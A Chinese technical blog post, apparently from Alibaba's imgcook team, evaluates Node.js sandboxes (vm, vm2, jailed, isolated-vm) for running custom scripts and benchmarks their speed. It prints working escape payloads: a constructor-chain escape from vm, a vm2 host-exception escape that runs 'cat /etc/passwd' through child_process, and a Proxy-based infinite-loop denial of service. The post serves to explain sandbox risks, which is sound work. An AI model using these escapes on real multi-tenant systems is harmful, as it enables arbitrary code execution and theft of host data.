文/ 阿里淘系 F(x) Team - 笑翟javascript
咱們在 imgcook 智能生成代碼過程當中,但願提供一些自定義的能力,好比自定義 DSL、自定義邏輯點識別/表達,可以讓開發者按照官方提供的標準協議數據,在可控範圍和權限內自定義生成本身所須要的代碼,也不用侷限官方提供的代碼生成模板,擴展自定義邏輯識別能力/表達能力,生成定義的邏輯代碼,知足開發者自定義業務多樣化的需求。html
那麼,這些自定義能力的腳本須要運行在一個沙箱容器,同時考慮到運行環境統一以及需加載 Node 模塊能力,咱們須要在服務端構建腳本運行沙箱容器,這樣安全就更爲重要(開發者的腳本必須嚴格受到限制與隔離,不能影響到宿主程序,也不能影響用戶使用),跟運行在客戶端(用戶的)應用不一樣,客戶端運行只會影響他本身。java
所以,咱們調研&探索如何選擇/構建一個爲 Node.js 應用更安全的沙箱模塊。node
先介紹下沙箱技術,是一個虛擬系統程序,容許你在沙箱環境中容許瀏覽器或者其餘程序,所以運行所產生的變化能夠隨後刪除。它創造了一個相似沙盒的獨立做業環境,在其內部運行的程序並不能對硬盤產生永久性的影響,其是一個獨立的虛擬環境,可用來測試不受信任的應用程序或上網行爲。git
沙箱是一種虛擬系統程序,沙箱提供的環境相對每個運行的程序都是獨立的,而不會對現有的系統產生影響。github
下面咱們介紹下以前調研過的一些 Node.js 的沙箱。web
模塊api (module)瀏覽器 |
安全安全 (Secure) |
內存限制 (Memory Limits) |
是否隔離 (Isolated) |
多線程 (Multithreaded) |
模塊支持 (Module Support) |
檢查器支持(Inspector Support) |
|
|
|||||
worker_threads |
|
|
|
|||
vm2 |
|
|
|
|||
napajs |
|
|
Partial |
|||
|
||||||
|
|
|
|
|||
|
|
|
|
|||
|
|
|||||
|
|
|
|
搜索 Node.js 沙箱,出現的是 Node.js 提供 vm 內建模塊,咱們看下 vm 模塊。
vm 是 Node.js 默認提供的一個內建模塊,它提供了一系列 API 用於在 V8 虛擬機環境中編譯和運行代碼。
A common use case is to run the code in a different V8 Context.
This means invoked code has a different global object than the invoking code.
One can provide the context by contextifying an object. The invoked code treats any property in the context like a global variable. Any changes to global variables caused by the invoked code are reflected in the context object.
一個常見的用例是在不一樣的 V8 上下文中運行代碼。
這意味着被調用的代碼與調用的代碼具備不一樣的全局對象。
能夠經過使對象上下文隔離化來提供上下文。 被調用的代碼將上下文中的任何屬性都視爲全局變量。 由調用的代碼引發的對全局變量的任何更改都將會反映在上下文對象中。
The vm module enables compiling and running code within V8 Virtual Machine contexts.
The vm module is not a security mechanism.
Do not use it to run untrusted code.
vm 模塊可在 V8 虛擬機上下文中編譯和運行代碼。
vm 模塊不是安全的機制。
不要使用它來運行不受信任的代碼。
vm 儘管隔離了上下文環境,但依然能夠訪問標準的 Javascript API 和全局的 Node.js 環境。
因此 vm 並非安全的。
看個例子:
"use strict";
const vm = require('vm');
const result = vm.runInNewContext(`process`);
console.log(result);複製代碼
結果:
「process is not defined」,默認狀況下VM模塊不能訪問進程,若是想要訪問須要指定受權。
看起來默認不能訪問 「process、require」 等就知足需求了,可是真的沒有辦法觸及主進程並執行代碼了?
看下面這段代碼
"use strict";
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return process')().exit()");
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log("Hello World!");複製代碼
在 javascript 中 this 指向它所屬的對象,因此咱們使用它時就已經指向了一個 vm 上下文以外的對象。
那麼訪問this的 constructor 就返回 Object Constructor ,訪問 Object Constructor 的 .constructor 返回Function constructor 。
Function constructor 就像 javascript 提供的最高函數,他能夠訪問全局,因此他能返回全局事物。
Function constructor 容許從字符串生成函數,從而執行任意代碼。
能夠看出這段代碼的 Hello World!
永遠不會輸出。
彷佛隔離了代碼執行環境,但實際上很容易逃逸出去。
由於 Node.js 默認內建模塊 vm 有缺陷,因此就有了 vm二、jailed、napajs。下面看下 vm2 模塊。
vm2 基於 vm,使用官方的 vm 庫構建沙箱環境。使用 JavaScript 的 Proxy 技術來防止沙箱腳本逃逸。指定白名單 Node 的內置模塊一塊兒運行不受信任的代碼。安全地!僅 JavaScript 內置對象和 Buffer 可用。默認下調度函數(setInterval,setTimeout 和 setImmediate)默認狀況下不可用。
主要有如下幾點特性:
vm2 內部使用 vm 模塊建立安全(上下文)它使用代理來防止逃逸沙箱
如今,從 vm contenxt 到沙箱的全部內容均可以用來進行處理。
"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")())');複製代碼
拋出異常錯誤,process 未定義。
逃逸
因爲 VM2 將 VM 上下文中的全部對象都上下文化,所以 this 關鍵字再也不具備對 constructor 屬性的訪問權,所以咱們以前的有效負載已失效。
對於繞過,咱們將須要沙箱以外的內容,以便它不只限於沙箱上下文,並且能夠再次訪問構造函數。
如今,vm 內部的全部對象都已限制了,咱們以某種方式須要外部的一些東西來爬回進程,而後執行代碼。
若是咱們在 try 塊中編寫錯誤代碼,這將會致使宿主進程拋出異常,而後咱們經過 catch 將宿主進程的異常捕獲回 vm,而後使用該異常進行處理。這極可能就是咱們要作的
// vm2 將該漏洞已修復
const {NodeVM} = require('vm2');
nvm = new NodeVM()
nvm.run(`
try {
this.process.removeListener();
}
catch (host_exception) {
console.log('host exception: ' + host_exception.toString());
host_constructor = host_exception.constructor.constructor;
host_process = host_constructor('return this')().process;
child_process = host_process.mainModule.require("child_process");
console.log(child_process.execSync("cat /etc/passwd").toString());
}`);複製代碼
在 try 塊中,咱們嘗試刪除正在執行此操做的當前進程上的偵聽器 - this.process.removeListener()
這會引發主機異常。因爲來自宿主進程的異常不會在傳遞到沙箱以前被關聯,所以咱們可使用該異常爬升到所需的樹到require。
畢竟,vm2 中還有更多新的創造性的繞過 - 更多的逃逸
除了沙箱逃逸以外,還可使用infinite while loop
方法建立無限循環拒絕服務
const {VM} = require('vm2');
new VM({timeout:1}).run(`
function main(){
while(1){}
}
new Proxy({}, {
getPrototypeOf(t){
global.main();
}
})`);複製代碼
沙箱機制對於性能影響仍是挺大的
自增次數 | normal | vm | vm2 | jailed | isolated-vm |
1000 | 0.042ms |
1179.227ms |
354.053ms |
12.246ms |
24.303ms |
10000 | 0.368ms |
9404.247ms |
2107.150ms |
121.993ms |
242.625ms |
100000 | 11.375ms |
128843.386ms |
17624.867ms |
1058.524ms |
1155.492ms |
測試代碼
const vm = require('vm');
const { VM } = require('vm2');
const jailed = require('jailed');
const path = './plugin.js';
var api = {
log: console.log
};
let plugin = new jailed.Plugin(path, api);
var reportResult = function(result) {
// console.log("Result is: " + result);
};
let a = 0;
const vm2 = new VM({
timeout: 1000,
sandbox: {
a: a
}
});
const count = 100000;
// normal
console.time('normal');
for (let i = 0; i < count; ++i) {
a += 1;
}
console.timeEnd('normal');
// vm
console.time('vm');
for (let i = 0; i < count; ++i) {
vm.runInNewContext('a += 1', { a: a });
}
console.timeEnd('vm');
// vm2 timer
console.time('vm2');
for (let i = 0; i < count; ++i) {
vm2.run('a += 1');
}
console.timeEnd('vm2');
// jailed
plugin.whenConnected(() => {
console.time('jailed');
for (let i = 0; i < count; ++i) {
plugin.remote.square(2, reportResult);
}
console.timeEnd('jailed');
plugin.disconnect();
});
console.time('isolated-vm');
// isolated-vm
// 建立一個內存限制 128MB 的隔離虛擬機
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({
memoryLimit: 128
});
// 每一個隔離虛擬機的上下文相互隔離
const context = isolate.createContextSync();
// 解除 global 的引用,傳遞給上一步建立的上下文
context.global.setSync('global', context.global.derefInto());
// 在上述上下文中執行,並解構結果
for (let i = 0; i < count; ++i) {
const { result } = context.evalSync(`(() => "Hello world")()`);
// console.log(result);
}
// > hello world
// console.log(result);
console.timeEnd('isolated-vm');
複製代碼
運行不信任的代碼是很困難的,只依賴軟件模塊做爲沙箱技術,防止不受信任代碼用於非正當用途是糟糕的決定。這可能促使雲上 SAAS 應用不安全,由於經過逃逸出沙箱進程多個租戶間的數據可能被訪問。所以自定義腳本執行只針對內部開放,外部的必須得通過嚴格審覈才能執行。要儘可能避開執行動態執行腳本,若是實在避不開或須要這個功能,但願本文可以對你有些幫助。